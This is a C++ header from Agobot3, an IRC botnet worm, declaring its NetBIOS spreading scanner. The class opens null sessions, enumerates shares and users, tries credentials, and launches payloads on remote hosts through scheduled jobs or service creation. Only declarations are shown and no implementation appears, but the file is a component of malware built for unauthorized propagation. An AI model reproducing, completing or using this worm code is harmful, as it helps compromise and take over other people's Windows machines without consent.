/*	Agobot3 - a modular IRC bot for Win32 / Linux
	Copyright (c) 2003 Ago
	All rights reserved.

	This is private software, you may redistribute it under the terms of
	the APL(Ago's Private License) which follows:
  
	Redistribution and use in binary forms, with or without modification,
	are permitted provided that the following conditions are met:
	1. The name of the author may not be used to endorse or promote products
	   derived from this software without specific prior written permission.
	2. The binary may not be sold and/or given away for free.
	3. The licensee may only create binaries for his own usage, not for any
	   third parties.

	Redistribution and use in source forms, with or without modification,
	are not permitted.

	THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
	IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
	OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
	IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
	INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
	NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
	DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
	THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
	(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
	THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */

#ifndef __NBSCANNER_H__
#define __NBSCANNER_H__

#include "cstring.h"
#include "scanner.h"

#ifdef WIN32
typedef struct shareinfo_s
{	CString sName;
	CString sRemark; } shareinfo;

typedef struct userinfo_s
{	CString sName;
	CString sServer; } userinfo;

class CScannerNetBios : public CScannerBase
{
public:
	CScannerNetBios();
	virtual ~CScannerNetBios() throw() { }
	virtual void StartScan(const CString &sHost);
	virtual bool TestHost(const CString &sHost) { return true; }
protected:
	NET_API_STATUS m_NetApiStatus;
	USE_INFO_2 m_UseInfo;
	USER_INFO_1 *m_UserInfo;
	SHARE_INFO_1* m_ShareInfo;

	WCHAR m_wszHost[MAX_PATH];
	WCHAR m_wszServer[MAX_PATH];
	WCHAR m_wszResource[MAX_PATH];

	bool m_bGotShares;
	bool m_bGotUsers;

	list<userinfo*> m_lUsers;
	list<shareinfo*> m_lShares;

	bool NullSession();
	bool CloseSession();
	bool GetShares(list<shareinfo*> *lpShares);
	bool GetUsers(list<userinfo*> *lpUsers);
	bool AuthSession(const char *user, const char *password);
	bool Exploit(const char *share, const char *host, const char *user, const char *password);
	bool StartViaNetScheduleJobAdd(const char *share, const char *host, const char *user, const char *password);
	bool StartViaCreateService(const char *share, const char *host, const char *user, const char *password);
//	bool StartViaPSExec(const CString &sReplyTo, const char *share, const char *host, const char *user, const char *password);
};
#endif // WIN32

#endif // __NBSCANNER_H__
